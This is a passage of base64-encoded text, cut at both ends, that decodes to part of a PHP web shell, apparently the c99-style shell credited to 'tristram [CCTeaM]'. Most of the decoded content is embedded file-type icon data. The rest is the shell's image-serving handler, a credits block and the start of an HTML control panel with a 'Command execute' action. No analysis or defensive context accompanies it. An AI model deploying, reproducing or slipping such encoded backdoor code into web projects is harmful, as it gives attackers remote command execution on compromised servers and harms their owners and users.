NvYUdobVptWmw5Zlh3UUVCUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUjBNTWxKcXl6RmFscUVRSnVHRVFTQ25XZzZGb2dwa0hBTUY0SEFKc1doNy96ZSIuCiJFUVlRTFVBc0dnTTBXd3QzYkNKZlFTRngxMHl5QmxKbjhSZkVNZ005WCszcUhXcTVpRUQ1eUNzTUNsMTExa25EcHVYZllscytJSzYxIi4KIkxYZCtXV0VITFVkL1RvSkZaUU9PajVDUmppQ0JsWmFYSUJFQU93PT0iLAoiZXh0X2FzcCI9PgoiUjBsR09EZGhFQUFRQUxNQUFBQUFBSUFBQUFDQUFJQ0FBQUFBZ0lBQWdBQ0FnTURBd0lDQWdQOEFBQUQvQVAvL0FBQUEvLzhBL3dELyIuCiIvLy8vL3l3QUFBQUFFQUFRQUFBRVN2RElTYXNGMk42RE1OQVM4QnhmbDFVaU9aWWU5YVV3Z3BEVHE2cVAvSVgwT3o3QVhVLzFlUmdJIi4KIkQ2SFBoempTZUxZZFlhYnNEQ1dNWndoZzNXV3RLSzRRck1Ib2hDQVMraEFCQURzPSIsCiJleHRfbXAzIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vNENBZ01EQXdJQ0FBUC8vQUFBQUFBQUFBQU5VIi4KImFHclM3aXVLUUdzWUlxcHA2UWlaUkRRV1lBSUxRUVNBMmcybzRRb0FTSEd3dkJiQU4zR1gxcVhBK3IxYUJRSFJaSE1FRFNZQ3ozZmMiLgoiSUd0R1Q4d0FVd2x0endXTldSVjNMRG54WU0xdWI2R25lRHdCQURzPSIsCiJleHRfYXZpIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vNENBZ01EQXdQOEFBQUFBQUFBQUFBQUFBQU5NIi4KIldGclM3aXVLUUdzWUlxcHA2UWlaMUZGQUNZaWpCNFJNcWpiWTAxRHdXZzQ0Z0FzclA1UUZrMjRIdU9oT0RKd1NVL0loQllUY2p4ZTQiLgoiUFlYQ3lnK1YyaTQ0WGVSbVNmWXFzR2hBQWdBNyIsCiJleHRfY2dpIj0+CiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRXdBTEFBQUFBQVFBQkFBaGdBQUFKdHFDSGQzZDdpTkdhK0hNdTdlcjlHaUM2K0lPT3U5Ii4KIkRrSkFQcXlGUXFsL04vRGxoc3l5ZmU2N0FmL1NGUC84a2YvOWxEOUVUdi9QQ3YvY1EvL2VOdi9YSWYvWktQL1JEdi9iTGYvY01haDYiLgoiTFBQWVJ2emdSK3ZneDd5Vk12L2xVdi9tVHYvZk9mL01Bdi9tY2YvTkEvL3FpZi9NQVAvVEZmL3hwN3VaVmYvV0lQL09CcXQvSHYvUyIuCiJFdi9oUCs3T09QL1dIdi93YkhOZlA0VnpWN3VQRnYvcFYvL3JYZi95Y2YvemR2LzBlVU5KV0VOS1dzeWtJazlSV015dFAvLzRpRXBRIi4KIlh2LzlxZmJwdFAvdVo5M0dpTnE2WFdwUkovL2lRdjd3c3F1RVF2L2pSQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFlZWdFeUNnMHdCaEllSEFZcUlqQUV3aG95RUFRUVhCSkNSaFFNdUE1ZVNpb29HSXdhZmk0VU0iLgoiQmFnTkZCTWNEUjRGUXd3QkFnRUdTQkJFRlN3eE5oQXlHZzZXQWt3Q0JBZ3ZGaVVpT0JFZ05VYzd3NElDTkQ4UEtDRkFPaTBKUE5LRCIuCiJBa1VuR1RrUk53TVMzNE1CSkJnZFJrSkxDRDdxZ2dFUEt4c0pLaVlUQndlSmtqaFFrazdBaHhROUZxZ0xNR0JHa0c4S0ZDZzhKS0FpIi4KIlJZdE1BZ0VBT3c9PSIsCiJleHRfY21kIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQWNBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vNENBZ01EQXdBQUFnSUNBQVAvL0FBQUFBQU5JIi4KImVMcmNKekRLQ1llOStBb2dCdmxnK0cyZFNBUUFpcElENVhKRElNKzB6TkpGa2RMM0RCZzZIbXhXTUVBQWhWbFBCaGdZZHJZaERRQ04iLgoiZG1yWUFNbjFvbnEvWUtwanZFZ0FBRHM9IiwKImV4dF9jcHAiPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFndi8vL3dBQUFBQUFnSUNBZ01EQXdBQUFBQUFBQUFBQUFBTkMiLgoiV0xQYzlYQ0FTU2NaOE1sS2ljb2JCd1JrRUlrVllXcVQ0RklDb0o1djdjNnMzY3FyQXJ3aW5FLzM0OUZpTm9GdzQ0cnRscWhPTDRSYSIuCiJFcTdZckxERTdhNFNBRHM9IiwKImV4dF9pbmkiPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy84REF3SUNBZ0lDQUFQLy9BQUFBQUFBQUFBTkwiLgoiYUFyQjNpb2FOa0s5TU5iSHM2bEJLSW9Db0kxb1VKNE40RENxcVlCcHVNNmhxOFAzaHdvRWdVM21hd0VMQkVhUEZpQVVBTWdZeTNWTSIuCiJTbkVqZ1BWYXJIRUhnckI0M0p2c3pzUUVBRHM9IiwKImV4dF9kaXoiPT4KIlIwbEdPRGxoRUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQVAvLy8xNXBoY2ZiNk5Mcy83UGMvK1AwLzNKK2w5YnMiLgoiLzUybnVxaks1L24vLy9qLy8vNy8vL3IvLzB0cmxzUG4vOG5uLzhuWjV0cm03OW51LzgvcS85WHQvOXp3Lzkzdy8rajEvOUhyLytEdiIuCiIvZDd2LzczSDBNalUzOXp1Lzlici84bmU4dFhuK0s2L3o4WGovTGpWN2REcC82SzR5OGJsLzVPNDJPejIvN0hXOUp1OTJ1LzkvOFQzIi4KIi8rTC8vKzcrLyt2Ni8rLzYvOUg0LytYNi8rWGw1UHovLysvdDdmWDA4dkQvLyszLy8vUC8vL0gvLy9QNy84bnEvOGZwLzhUbDk4enIiLgoiLysvejl2VDQrK24xL2Ivay9kbnkvOUh2Lyt2NC85LzAvOWZ3LzgvdS84dnQvKy8wOXhVdlhoUXRXNEtUczJWMWt3NG9WVGRZcERaWCIuCiJwVnhxaGx4cWlFeGtpbUtCdE1QTDJGdHZqMk9WNmFPdXdwcWx1bHlOM2NuTzF3QUFYUUFBWlNNOGpFNVhqZ0FBYndBQWVVUkJZZ0FBIi4KImRBQUFkelpFYUU5d3dEWllwbVZ2aVI0OWpHMTJrQ2hGbWdZdWo2KzF4ZUxuN056ajZwbTIwb2VxeXBTMjEyU0pyYUN5eFpXeXo3UFciLgoiOWMvby84N24vOERYN01IWTdxL0s1TGZYOWFyQjFzcmwvMitmenEyOTBVMTRxN2ZDejZlMnlYdW0zMEZqbENsSGM0ZVhyNmJJK2JUSyIuCiI0cmZXK05YZTZPYnkvNVN2eldTSHIrYnI4V3VLclFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQWpnQUNzSnJEUkhTSUNEUTdJTVhEZ0p4OEV2WnVJY2JQQm9vWndiQndPTUFmTW1Zd0JDQTJzRWNOQmpKQ01ZQVRMSU9MaW9rb2NtIi4KIkMxUXNrQUNsQ3hjR0JqN0VzTkhvUUFjaVNDQzFtTkFtakpnR0dFQlFvQkhpZ0tFTkJqaGNDQkFJelJvR0Zrd1FNTktueWdnUlNSQWciLgoiMkJIcERCVWVld1JWMFBESENwNEJTZ2p3MFpHSHpKUWNFVkQ0SUVISnpZa0JmbzRzZVlHbERCd2dUQ0FBWXZGRTRLRUJKWUk0VXJQRiIuCiJDeUlJSyt3b1lqTXdRUUk2Q29yOG1LRW54UjBuQWhZS2pISkZRWUVDa3FTa1NhMTY0SU02TGhMUnJyM3d3YUJDdTNrUEZLQ2xka0FBIi4KIk93PT0iLAoiZXh0X2RvYyI9PgoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzhEQXdBQUEvNENBZ0FBQUFBQUFBQUFBQUFOUiIuCiJXRXJjcnJDUVFDc2xRQTJ3T3dkWGtJRldOVkJBK25tZTRBWkN1b2xuUndrd0Y5UWdFT1BBRkcyMUErWjRzUUhPOTRyMWVKUlRKVm1xIi4KIk1JT3JyUFNXV1pSY3phNmthb2xCQ09CMFdveFJ1ZDBKQURzPSIsCiJleHRfZXhlIj0+CiJSMGxHT0RsaEV3QU9BS0lBQUFBQUFQLy8vd0FBdmNiR3hvU0VoUC8vL3dBQUFBQUFBQ0g1QkFFQUFBVUFMQUFBQUFBVEFBNEFBQU03Ii4KIldMVGNUaVdTUWF1dEJFUTFoUCtnbDIxVEtBUUFpbzdTOEx4YUc4eDBQYk9jclFmNHROdTl3YThXSE5LS1JsNHNsK3k5WUJ1QWRFcXQiLgoieGhJQU93PT0iLAoiZXh0X2giPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFndi8vL3dBQUFBQUFnSUNBZ01EQXdBQUFBQUFBQUFBQUFBTkIiLgoiV0xQYzlYQ0FTU2NaOE1sS0NjQVJSd1ZrRUFLQ0lCS21OcVZycTd3cGJNbWJiYk9ucmdJOEYrcTN3OUdPUU9NUUdaeUpPc3BuTWtLbyIuCiJXcS9Oa25iYlNnQUFPdz09IiwKImV4dF9ocHAiPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFndi8vL3dBQUFBQUFnSUNBZ01EQXdBQUFBQUFBQUFBQUFBTkYiLgoiV0xQYzlYQ0FTU2NaOE1sS2ljb2JCd1JrRUFHQ0lBS0VxYUZxcGJabm1rNDIvZDQzeXJvS21MQURsUEJpczZMd0tOQUZqN2pmYVdWUiIuCiJVcVVhZ25iTGRaYStZRmNDQURzPSIsCiJleHRfaHRhY2Nlc3MiPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVA4QUFQOEEvd0FBZ0lBQWdQLy9BQUFBQUFBQUFBTTYiLgoiV0VYVy9rNlJBR3NqbUZvWWdOQmJFd2pEQjI1ZEdaelZDS2dzUjhMaFNucHJQUTQwNnBhZm1rRHdVdW1JdkpCb1JBQUFsRXVERXdwSiIuCiJBQUE3IiwKImV4dF9odG1sIj0+CiJSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vMnRybk0zUC9GQlZoclBPOWw2SXRveXQweWhnaytYeS9XR3A0c1hsL2k2WjRtZmQvSE56Ii4KImMvLy8veUg1QkFFQUFBOEFMQUFBQUFBVEFCQUFBQVNUOE1sM3FxMW02bm1DLzRHaGJGb1hKRU8xQ0FORFNvY2lHa2JBQ0hpMjBVM1AiLgoiS0lGR0lqQVFPRFNpQldPNU5BeFJSbVRnZ0Rna21NN0U2aWlwSFpZS0JWTlFTQlNpa3VrU3dXNGp5bWN1cFlGZ0lCcUwvTUs4S0JEayIuCiJCa3gyQlhXRGZYOFRERGFGREEwS0JBZDlmbklLSFhZSUJKZ0hCUU9IY2crVkNpa1ZBNXdMcFlnYkJLdXJEcXlzbnhNT3M3UzFzeElSIi4KIkFEcz0iLAoiZXh0X2pwZyI9PgoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFrQUxBQUFBQUFRQUJBQWd3QUFBUC8vLzhEQXdJQ0FnSUNBQVA4QUFBRC9BSUFBQUFDQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSY2NNaEprNzBqNkszRnVGYkdiVUx3SmNVaGpnSGdBa1VxRWdKTkVFQWd4RWNpIi4KIkNpOEFMc0FMYVhDR0pLNW8xQUdTQnNJQWNBQmdqZ0NFd0FNRVhwMEJCTUxsL0E2eDVXWnRQZlEyZzYrMGo4VngrN2I0L05acWdmdGQiLgoiRnhFQU93PT0iLAoiZXh0X2pzIj0+CiJSMGxHT0RkaEVBQVFBQ0lBQUN3QUFBQUFFQUFRQUlMLy8vOEFBQUNBZ0lEQXdNRC8vd0NBZ0FBQUFBQUFBQUFEVUNpNjNDRWd4aWJIIi4KImswQVFzRzIwMEFRVUpCZ0FvTWloajVkbUl4bk1KeHRxcTFkZEUwRVdPaHNHMTZtOU1vb0FpU1dFbVRpdUM0VHcyQkIwTDhGZ0lBaHMiLgoiYTAwQWpZWUJiYy9vOUhqTm5pVUFBRHM9IiwKImV4dF9sbmsiPT4KIlIwbEdPRGxoRUFBUUFHWUFBQ0g1QkFFQUFGQUFMQUFBQUFBUUFCQUFoZ0FBQUFCaUFHUExNbVhNTTB5L0psZkZMRlM2SzFyR0xXak8iLgoiTlNtdUZUV3pHa0M1SUczVE9vLzFYRTdBSngyb0Q1WDdZb1RxVVlyd1YzL2xUSFRhUVhuZlJtREdNWVhyVWpLUUh3QU1BR2ZOUkh6aSIuCiJVd3c1Q0FBcUFET1pHa2FzTFhMWVFnaElCQk4zRFZHMk5XblBSbkRXUndCT0FCNXdGUUJCQUFBK0FGRzNOQWs1QlNHSEVVcXdNQUJrIi4KIkFBQWdBQUF3QUFCZkFEZTBHeGVMQ3haY0RFSzZJVXV4S0ZqRkxFM0FKMkhITVJLaUNRV0NBZ0JtQUJwdERnK0hDQlplREFxRkJXREciLgoiTXltVUZRcFdCajJmSmhkdkRRaE9CQzZYRjNmZFIwTzZJUjJPRHdBWkFIUFpRQ1NSRWdBU0FEYVhId0FBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWVaZ0ZCUVBBR0Zob2NBZ29JN09nOEpDZ3NFQlFJV1BRQ0pna0NPa0pLVVA1ZVlVRDZQa1pNNSIuCiJOS0NLVURNeU5UZzNBZ2cyUzVlcVVFcEpEZ2NEQ0F4TVQwNmhnazI2dkF3VUZVaER0WXBDdXdaQnlCTVJSTXlDUndNR1JrVWcweElmIi4KIjFsQWVCaUVBR1JnWEVnMHQ0U3dyb0NZbERSQW40U21wS0NvUUpDL2hxVkF1Tkd6ZzhFOVJLQkVqWUJTMEpTaEdoNFVNb1lBU0JpVVEiLgoiQURzPSIsCiJleHRfbG9nIj0+CiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBTURBd0lDQWdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRRUtFd0s2VXlCekM0NzVnRUFsdEprbExSQVd6YkNsUmhySzRMeTV5Zzcvd04iLgoiekxVYUxHQlFCVjJFZ0ZMVjR4RU9TU1d0OWdRUUJwUnBxeG9WTmFQS2tGYjVFaC9MbVVHekY1cUUzK0VNSWdJQU93PT0iLAoiZXh0X3BocCI9PgoiUjBsR09EbGhFQUFRQUFBQUFDSDVCQUVBQUFFQUxBQUFBQUFRQUJBQWdBQUFBQUFBQUFJbURBNmh5NXJXMEhHb3NmZnNkVHBxdkZsZyIuCiJ0MGhreVozUTZxbG9aN0ppbW9tVkViK3VYQUFBT3c9PSIsCiJleHRfcGwiPT4KIlIwbEdPRGxoRkFBVUFLTC9BUC80LzhEQXdIOS9BUC80QUwrL3Z3QUFBQUFBQUFBQUFDSDVCQUVBQUFFQUxBQUFBQUFVQUJRQVFBTW8iLgoiR0xyYzNnT0FNWVI0T091ZHJlZWdSbEJXU0oxbHFLNXM2NExqV0YzY1FNanBKcERmNi8vQUJBQTciLAoiZXh0X3N3ZiI9PgoiUjBsR09EbGhGQUFVQU1RUkFQK2NuUDlTVXM0QUFQK2NBUC9PQUlRQUFQOWpBTTVqbk02Y1k4NmNuS1hPOThiZXhwd0FBUDh4QVAvTyIuCiJuQUFBQVAvLy8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4KIkFCRUFMQUFBQUFBVUFCUUFBQVY3WUNTT1pHbWU2UG1zYk11cVVDelAwQVBMemhBYnVQblFBd2VFNTJnMGZES0NNR2dvT200UUI0R0EiLgoiR0JnYVQyZ01RWWdWalVmU1QzWW9GR0tCUmdCcVBqZ1lERUZ4WFJwREdFSUE0eEFRUU5SMU5Ib01FQUFDQUJGaEl6OHJDbmNNQUdnQyIuCiJOeXNMa0RPVFNDc0pOREphblRVcUxxTTJLYWFucUJFaEFEcz0iLAoiZXh0X3RhciI9PgoiUjBsR09EbGhFQUFRQUdZQUFDSDVCQUVBQUVzQUxBQUFBQUFRQUJBQWhnQUFBQmxPQUZnZEFGQUFBSVlDVXdBOFp3QThaOURZNEpJQyIuCiJXdi8vL3dDSVdCRTJBQUF5VUppY3FJU0hsNENBQVBENC8rRGc4UFg2LzVPWHBMN0gwKy8yL2FHbXNUSXlNdFRjNVAvL3NmTDUvOFhGIi4KIkhnQllwd0JVbGdCV24xQlFBRzhhSUFCUWhSYmZtd0Rja3YrSDExbm91RUxscml6aXBmK1YzblBBLzQwQ1V6bW0vd0E0WGhWREFBR0QiLgoiVXlXZC8waXQvMXUxLzNOekFQOTUwUDk5MG1PNS83djE0WXp2elhMcndvWEkvNXZTLzdEay93QlhvdjlzeXZSandPaGF0UUNIVjE3cCIuCiJ1bzBHVVFCV25QKys4TG01QVArajVRQlVsQUNLV2dBNGJqSlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnQUtDZzRTRlN4WU5FdzRnTWdTT2o0OERGQWNIRVVJWlJFWW9KRFF6UFQ0L0F3Y1FDUWtnIi4KIkd3aXBxcWtxQXhJYUZSZ1hEd08xdHJjQXVicTd2SWVKRGl3aEJjUEV4QXlUbFNFWk96bzVLVFV4TUNzdkRLT2xTUnNjSER3ZUhrTWQiLgoiSFVjTXI3R3pCdWZvNkF5ODdMdStpaTBmQWZQMDlBdklFUjhaTmpjNFFTVW1Ub2dZc2NCYUFpVkZrQ2hZeUJDSWl3WGtaRDJvUjNGQiIuCiJ1NHRMQWdFQU93PT0iLAoiZXh0X3R4dCI9PgoiUjBsR09EbGhFd0FRQUtJQUFBQUFBUC8vLzhiR3hvU0VoUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQVRBQkFBQUFOSiIuCiJTQXJFM2xESkZrYTkxcktwQS9EZ0ozSkJhWjZsc0NrVzZxcWtCNGp6RjhCUzY1NDRXOVpBVzQrZzI2Vld4Rjl3ZG93Wm16bmxFdXA3Ii4KIlVwUFdHM0lnNkhxL1htUmp1WndrQUFBNyIsCiJleHRfd3JpIj0+CiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWdBTEFBQUFBQVFBQkFBZy8vLy93QUFBSUNBZ01EQXdJQ0FBQUFBZ0FBQS8vLy9BQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJSVU1oSmtiMEM2SzJIdUVpUmNkc0FmS0V4a2tEZ0JvVnhzdHdBQXlwZHVvYW8iLgoiYTRTWFQwYzRCRjByVWhGQUVBUVFJOWRtZWJSRVc4eVhDNk54MlFJN0xyWWJ0cEpaTnN4Z3pXNm5MZHE0OWhJQkFEcz0iLAoiZXh0X3htbCI9PgoiUjBsR09EbGhFQUFRQUVRQUFDSDVCQUVBQUJBQUxBQUFBQUFRQUJBQWhQLy8vd0FBQVBIeDhZYUdoak5tbWFiSzhBQUFtUUFBZ0FDQSIuCiJnRE9aQURObS96T1ovelAvLzhEQXdEUE0vd0FBL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQVZrNENDT3BBaWQwQUNzYk5zTXFOcXVBaUEwQUp6U2RsOEh3TUJPVUtnaEVBcGJFU0JVRlF3QUJJQ3giLgoiT0FBTXhlYlRobUE0RW9jYXRnbllLaGFKaHhVcklCTnJoN2p5dC9QWmErMGhZYy9uMDJWNGR6WnVmWVYvUElHSmJvS0JRa0dQa0VFUSIuCiJJUUE3IgogKTsKIC8vRm9yIHNpbXBsZSBzaXplLSBhbmQgc3BlZWQtb3B0aW1pemF0aW9uLgogJGltZ2VxdWFscyA9IGFycmF5KAogICJleHRfdGFyIj0+YXJyYXkoImV4dF90YXIiLCJleHRfcjAwIiwiZXh0X2FjZSIsImV4dF9hcmoiLCJleHRfYnoiLCJleHRfYnoyIiwiZXh0X3RieiIsImV4dF90YnoyIiwiZXh0X3RneiIsImV4dF91dSIsImV4dF94eGUiLCJleHRfemlwIiwiZXh0X2NhYiIsImV4dF9neiIsImV4dF9pc28iLCJleHRfbGhhIiwiZXh0X2x6aCIsImV4dF9wYmsiLCJleHRfcmFyIiwiZXh0X3V1ZiIpLAogICJleHRfcGhwIj0+YXJyYXkoImV4dF9waHAiLCJleHRfcGhwMyIsImV4dF9waHA0IiwiZXh0X3BocDUiLCJleHRfcGh0bWwiLCJleHRfc2h0bWwiLCJleHRfaHRtIiksCiAgImV4dF9qcGciPT5hcnJheSgiZXh0X2pwZyIsImV4dF9naWYiLCJleHRfcG5nIiwiZXh0X2pwZWciLCJleHRfamZpZiIsImV4dF9qcGUiLCJleHRfYm1wIiwiZXh0X2ljbyIsImV4dF90aWYiLCJ0aWZmIiksCiAgImV4dF9odG1sIj0+YXJyYXkoImV4dF9odG1sIiwiZXh0X2h0bSIpLAogICJleHRfYXZpIj0+YXJyYXkoImV4dF9hdmkiLCJleHRfbW92IiwiZXh0X212aSIsImV4dF9tcGciLCJleHRfbXBlZyIsImV4dF93bXYiLCJleHRfcm0iKSwKICAiZXh0X2xuayI9PmFycmF5KCJleHRfbG5rIiwiZXh0X3VybCIpLAogICJleHRfaW5pIj0+YXJyYXkoImV4dF9pbmkiLCJleHRfY3NzIiwiZXh0X2luZiIpLAogICJleHRfZG9jIj0+YXJyYXkoImV4dF9kb2MiLCJleHRfZG90IiksCiAgImV4dF9qcyI9PmFycmF5KCJleHRfanMiLCJleHRfdmJzIiksCiAgImV4dF9jbWQiPT5hcnJheSgiZXh0X2NtZCIsImV4dF9iYXQiLCJleHRfcGlmIiksCiAgImV4dF93cmkiPT5hcnJheSgiZXh0X3dyaSIsImV4dF9ydGYiKSwKICAiZXh0X3N3ZiI9PmFycmF5KCJleHRfc3dmIiwiZXh0X2ZsYSIpLAogICJleHRfbXAzIj0+YXJyYXkoImV4dF9tcDMiLCJleHRfYXUiLCJleHRfbWlkaSIsImV4dF9taWQiKSwKICAiZXh0X2h0YWNjZXNzIj0+YXJyYXkoImV4dF9odGFjY2VzcyIsImV4dF9odHBhc3N3ZCIsImV4dF9odCIsImV4dF9odGEiLCJleHRfc28iKQogKTsKIGlmICghJGdldGFsbCkKIHsKICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvZ2lmIik7CiAgaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTsKICBoZWFkZXIoIkV4cGlyZXM6ICIuZGF0ZSgiciIsbWt0aW1lKDAsMCwwLDEsMSwyMDMwKSkpOwogIGhlYWRlcigiQ2FjaGUtY29udHJvbDogbWF4LWFnZT0iLig2MCo2MCoyNCo3KSk7CiAgaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmRhdGUoInIiLGZpbGVtdGltZShfX0ZJTEVfXykpKTsKICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRpbWcsJHYpKSB7JGltZyA9ICRrOyBicmVhazt9fQogIGlmIChlbXB0eSgkaW1hZ2VzWyRpbWddKSkgeyRpbWcgPSAic21hbGxfdW5rIjt9CiAgaWYgKGluX2FycmF5KCRpbWcsJGV4dF90YXIpKSB7JGltZyA9ICJleHRfdGFyIjt9CiAgZWNobyBiYXNlNjRfZGVjb2RlKCRpbWFnZXNbJGltZ10pOwogfQogZWxzZQogewogIGZvcmVhY2goJGltZ2VxdWFscyBhcyAkYT0+JGIpIHtmb3JlYWNoICgkYiBhcyAkZCkge2lmICgkYSAhPSAkZCkge2lmICghZW1wdHkoJGltYWdlc1skZF0pKSB7ZWNobygiV2FybmluZyEgUmVtb3ZlIFwkaW1hZ2VzWyIuJGQuIl08YnI+Iik7fX19fQogIG5hdHNvcnQoJGltYWdlcyk7CiAgJGsgPSBhcnJheV9rZXlzKCRpbWFnZXMpOwogIGVjaG8gICI8Y2VudGVyPiI7CiAgZm9yZWFjaCAoJGsgYXMgJHUpIHtlY2hvICR1LiI6PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz0iLiR1LiJcIiBib3JkZXI9XCIxXCI+PGJyPiI7fQogIGVjaG8gIjwvY2VudGVyPiI7CiB9CiBleGl0Owp9CmlmICgkYWN0ID09ICJhYm91dCIpIHtlY2hvICI8Y2VudGVyPjxiPkNyZWRpdHM6PGJyPklkZWEsIGxlYWRpbmcgYW5kIGNvZGluZyBieSB0cmlzdHJhbVtDQ1RlYU1dLjxicj5CZXRhLXRlc3RpbmcgYW5kIHNvbWUgdGlwcyAtIE51a0xlb04gW0FuVGlTaEBSZSB0RWFNXS48YnI+VGhhbmtzIGFsbCB3aG8gcmVwb3J0IGJ1Z3MuPGJyPkFsbCBidWdzIHNlbmQgdG8gdHJpc3RyYW0ncyBJQ1EgIzY1NjU1NSA8YSBocmVmPVwiaHR0cDovL3d3cC5pY3EuY29tL3NjcmlwdHMvY29udGFjdC5kbGw/bXNndG89NjU2NTU1XCI+PGltZyBzcmM9XCJodHRwOi8vd3dwLmljcS5jb20vc2NyaXB0cy9vbmxpbmUuZGxsP2ljcT02NTY1NTUmaW1nPTVcIiBib3JkZXI9MCBhbGlnbj1hYnNtaWRkbGU+PC9hPi48L2I+Ijt9Cj8+CjwvdGQ+PC90cj48L3RhYmxlPjxhIGJvb2ttYXJrPSJtaW5pcGFuZWwiPjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPgo8dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cCBhbGlnbj0iY2VudGVyIj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1jbWQmZD08P3BocCBlY2hvIHVybGVuY29kZSgkZCk7ID8+Ij48Yj5Db21tYW5kIGV4ZWN1dGU8L2I+PC9hPiA6O